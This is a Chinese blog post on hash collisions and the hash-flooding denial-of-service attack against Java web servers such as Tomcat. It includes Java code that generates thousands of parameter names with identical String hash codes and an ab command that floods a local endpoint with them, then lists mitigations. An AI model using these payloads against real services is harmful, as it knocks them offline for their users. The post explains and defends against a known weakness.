1.Hash冲突

哈希表是基于数组的一种存储方式.它主要由哈希函数和数组构成。
当要存储一个数据的时候，首先用哈希函数计算出下标,然后存储到数组里面。这个数组就是哈希表。
查询一个数据的时候，哈希函数计算出下标，读取数组下标的数据，达到一个O(1)时间复杂度的查询。

但由于哈希算法不同，不同的数据得到的哈希值有可能一样。导致存储的位置一样，这就是hash冲突。它有三种解决方法

1. 开放地址法（ThreaLocal会用到）
2. 再哈希
3. 拉链法（HashMap）

不同的解决方法，导致时间复杂度的变换是不同的，接下来我们分析HashMap运用的拉链法。

2.拉链法

拉链法存储元素的时候，存储形式为一个链表节点，当冲突的时候，就在链表节点下直接添加冲突的元素。假设所有的元素hashcode都一样，使所有元素都插到了同一个位置。这样一来，原本查询和插入O(1)时间复杂度退化成了链表或红黑树（HashMap中链表超过8会转换成红黑树，之前的文章有提到链表转红黑树）查询和插入的时间复杂度。

假设攻击者精心设计一组要放进 hash 表的字符串，且让这些字符串的 hashcode 都一样，这就会导致 hash 冲突，结果会导致 cpu 要花费大量的时间来处理 hash 冲突，造成 DoS（Denial of Service）攻击。接下来我们分析如何设计出hashcode 都一样的字串符。

2.分析String.hashCode

在StackOverflow 上的这篇文章 Application vulnerability due to Non Random Hash Functions¹里给出两个HashCode一样的字串符“Aa”和“BB”接下来我们查看源码分析，为什么它们的HashCode一样。

String重写的hashCode方法如下：

/*** Returns a hash code for this string. The hash code for a* {@code String} object is computed as* <blockquote><pre>* s[0]*31^(n-1) + s[1]*31^(n-2) + ... + s[n-1]* </pre></blockquote>* using {@code int} arithmetic, where {@code s[i]} is the* <i>i</i>th character of the string, {@code n} is the length of* the string, and {@code ^} indicates exponentiation.* (The hash value of the empty string is zero.)** @return  a hash code value for this object.*/public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}

我们可以看到源码给出了公式s[0] * 31 ^ (n-1) + s[1] * 31 ^ (n-2) + … + s[n-1]
“Aa”= 65 * 31 +97 = 2112
“BB”= 66 * 31 +66 = 2112

通过公式我们知道只要这两个字符串进行排列组合，计算出来的hashCode都是一样的
例如
“AaAa” = 65 * 31 ^ 3 + 97 * 31 ^ 2 + 65 * 31 + 97 = 2031744
“BBAa” = 66 * 31 ^ 3 + 66 * 31 ^ 2 + 65 * 31 + 97 = 2031744
(A,a,B的AIISC码分别是65,97,66)刚好可以通过大写A和小写a之间32的差值，和大写A与大学B之间1的差值来补全计算hashcode时的差值
所以其实"Bb"和"CC"也能弄出同样的效果

我们写一段代码来进行排列组合构造请求

public class Main {static StringBuilder sb = new StringBuilder(32);public static void main(String[] args) {//long l = System.currentTimeMillis();String[] str={"Aa","BB"};recursion(str,0,16);//循环16次//System.out.println(System.currentTimeMillis()-l);}public static void recursion(String[] str, int cur, int target){if (target==cur){System.out.print(sb+"=&");return;}for(String s:str){sb.append(s);recursion(str,cur+1,target);sb.delete(sb.length()-2,sb.length());}}
}

生成后复制到test.txt文件，为下面的攻击做准备。

3.尝试攻击

写一个小小的Demo

@RequestMapping("/hash")
public String hash(HttpServletRequest request) {// Demo，简单返回参数大小和其对应hashCodeint size = request.getParameterMap().size();String key = (String)(request.getParameterMap().keySet().toArray())[0];return String.format("size=%s, hashCode=%s", size, key.hashCode());
}

借用 Apache Benchmarking”压测的工具发送请求

ab -c 200 -n 100000 -p test.txt 'localhost:8080/hash'

我压测自己的登陆接口结果如下

CPU 的变化情况
压测过程中CPU一直在130%+的

4.哪里出现了HashMap？

为什么Demo中没有HashMap，依然能够有效呢？
在Tomcat http Body 解析源码分析²中说到了Tomcat处理请求参数的时候，将参数解析出来放到LinkedHashMap里。

5.解决办法

在StackOverflow 上的这篇文章 Application vulnerability due to Non Random Hash Functions¹上提出了三个解决办法

1. Restrict the number of POST parameters - Tomcat 6.0.35+ has a new parameter maxParameterCount. The default value is 10,000. The lower the better, as long as it does not break your functionality.
2. Restrict the size of the POST request - For the attack to work, the Payload has to be huge. The default POST allowed by Tomcat is 2MB. Reducing this to say 200KB will reduce the effectiveness of this attack. The parameter in tomcat is maxPostSize
3. Web Application Firewall - If you have a web application firewall, you can configure it to block requests that look suspicious. This is a reactive measure, but is nice to have in case you cannot use one of the above solutions.

这里简单的翻译一下
1.限制请求参数的最大值，Tomcat默认最大10000个参数，这个最大值越小越好，不过不要影响你的功能。
2.限制请求的大小，Tomcat允许2MB的Payload，也就是2MB的requestBody，减少到200KB也可以很有效的防止这个攻击。
3.上 WAF（Web Application Firewall），用专业的防火墙清洗流量。

参考资料

---

1. Application vulnerability due to Non Random Hash Functions: https://stackoverflow.com/questions/8669946/application-vulnerability-due-to-non-random-hash-functions ↩︎ ↩︎

2. Tomcat http Body 解析源码分析: https://www.jianshu.com/p/d8a2bc7d3c21 ↩︎